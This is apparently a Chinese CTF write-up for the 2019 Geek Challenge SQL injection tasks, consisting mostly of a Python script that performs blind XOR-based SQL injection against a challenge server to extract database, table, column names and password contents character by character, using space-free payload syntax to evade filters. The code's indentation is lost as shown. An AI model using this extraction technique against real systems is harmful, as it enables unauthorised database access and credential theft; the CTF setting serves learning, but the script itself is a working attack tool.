2019極客大挑戰EasySql、LoveSql、BabySql、HardSql、FinalSql
阿新 • • 發佈:2020-10-21
#這裡提一下,由於伺服器可能會出現429太多請求的錯誤,會導致指令碼測試某些欄位匹配不到。建議多跑幾次flag。
#這題目裡password欄位太長了,建議直接從170位到220位測試(小心別踩坑,因為429錯誤)。
import requests
url = 'http://c3d4ded5-63fb-4d51-b784-e73ad570a432.node3.buuoj.cn/search.php?id=1'
#資料庫、表名、欄位查詢語句
database = 'select(database())'
table = 'select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database() '
column = "select(group_concat(column_name))from(information_schema.columns)where(table_name)=('F1naI1y')"
key = 'select(group_concat(password))from(F1naI1y)'
result = ''
for i in range(170,220):
for j in range(32,126):
payload = '^(ascii(substr(({}),{},1))={})'.format(key,i,j)
res = requests.get(url+payload)
print(chr(j))
#如果頁面內容中出現ERROR猜測正確
if 'ERROR' in res.text:
result += chr(j)
print(res.url)
print(i)
print(result)
break